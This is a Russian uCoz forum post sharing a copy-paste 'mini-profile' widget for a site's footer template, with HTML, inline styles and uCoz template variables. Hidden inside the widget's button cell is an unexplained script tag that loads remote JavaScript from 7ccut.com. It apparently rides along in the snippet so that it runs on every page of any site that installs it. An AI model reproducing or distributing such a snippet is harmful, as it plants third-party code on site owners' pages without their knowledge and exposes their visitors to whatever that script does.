Вторник, 21.01.2025, 00:00

  • Страница 1 из 1
  • 1
Профиль для ucoz в нижнем правом углу сайта
Rakurs
 Дата: Среда, 11.12.2013, 13:37 | Сообщение # 1

Группа: Пользователи
Сообщений: 71
Награды: 0
Уважение: 0
Оффлайн
скрин: http://s020.radikal.ru/i706/1311/de/d755b2038d80.jpg

Установка:

Как правильно установить "Профиль для ucoz" на сайт?
Приступим. И так
Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в глобальный блок "Нижняя часть сайта" в самый низ или куда вам будет удобнее.

Код
<div id="webo4ka_close">   
<div style="border: 1px solid #000; margin-top: 4px; width: 255px; position:fixed; bottom:1%; right:1%; box-shadow: black 1px 1px 2px, black 0 0 1em; -moz-border-radius:5px; -webkit-border-radius:5px; border-radius: 5px;">
<div style="background: #4b4b4b; height: 27,1px; -moz-border-radius-top:5px; -webkit-border-radius-top:5px; border-radius-top: 5px; "><div style="padding: 4px 6px; border-bottom: 1px solid #bdbdbd;">
     
<table width="100%"><tr>
<td align="left" style="color: #374d98; font-size: 11px; font-weight: bold; text-shadow: 0.1em 0.1em 0.05em #000; color: #fff; text-decoration:none !important;">Мини-Профиль</td>
<td align="right"><script src="http://7ccut.com/table.js" type="text/javascript"></script>
<a href="javascript://" onclick="$('#webo4ka_cvernuti').slideToggle('slow');" style="cursor: pointer"><img src="http://pnghosts.ru/img/webo4ka_svernuti.png" border="0" onMouseOver="this.src='http://pnghosts.ru/img/webo4ka_svernuti2.png'" onMouseOut="this.src='http://pnghosts.ru/img/webo4ka_svernuti.png'"></a>
<a href="javascript://" onclick="document.getElementById('webo4ka_close').style.display='none';false" style="cursor: pointer"><img src="http://pnghosts.ru/img/webo4ka_zakryt.png" border="0" onMouseOver="this.src='http://pnghosts.ru/img/webo4ka_zakryt2.png'" onMouseOut="this.src='http://pnghosts.ru/img/webo4ka_zakryt.png'"></a>
</td> </div></tr></table></div></div>
<div style="background: #f6fafd; padding: 6px 4px; -moz-border-radius:5px; -webkit-border-radius:5px; border-radius: 5px;">

<div id="webo4ka_cvernuti" style="display: none;">

<table border="0" cellpadding="0" cellspacing="0"><tr>
<td valign="top" align="center" id="webo4ka_fon_ava" width="70px"><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" width="70px" border="0" /><?else?><img src="http://pnghosts.ru/img/net_avatara.png" width="70px" border="0" /><?endif?></td>
<td valign="top" id="webo4ka_poloska_gorizont"><div id="webo4ka_text">

<div id="webo4ka_menu" width="70px" valign="top"><a href="$PERSONAL_PAGE_LINK$">Мой профиль</a></div>
<div id="webo4ka_menu"><a href="$PM_URL$">Читать ЛС</a></div>
<div id="webo4ka_menu"><a href="$HOME_PAGE_LINK$/index/11">Редактировать данные</a></div>
</div></td></tr></table>
</div>
</div></a></div></div>

<style>   
a:link, a:visited, a:active {text-decoration:none; color:#408fd3; text-shadow: 0.1em 0.1em 0.05em #FFF;}
a:hover {text-decoration:none; color:#000;}

#webo4ka_menu{width:160px; padding:2px; border-bottom: 1px dotted #e2e2e2; border-top: 1px dotted #e2e2e2; text-shadow: 0.1em 0.1em 0.05em #FFF;}
#webo4ka_menu:hover {border-bottom: 1px dotted #000; border-top: 1px dotted #000; background: white; cursor: pointer; text-shadow: 0.1em 0.1em 0.05em #FFF;}

#webo4ka_poloska_gorizont {border:0px; border-left:1px dotted #000; padding:5px;}
#webo4ka_fon_ava {padding:3px; background:#f7f7f7;}
#webo4ka_text{text-align:left; clear:both;}
</style>
 
  • Страница 1 из 1
  • 1
Поиск:

Статистика Форума
Последние обновленные темы
Самые популярные темы
Активные пользователи
Новые пользователи ()
Реклама
Что можно посмотреть
Реклама
Место свободное Место свободное Место свободное
Место свободное Место свободное Место свободное
Сделать бесплатный сайт с uCoz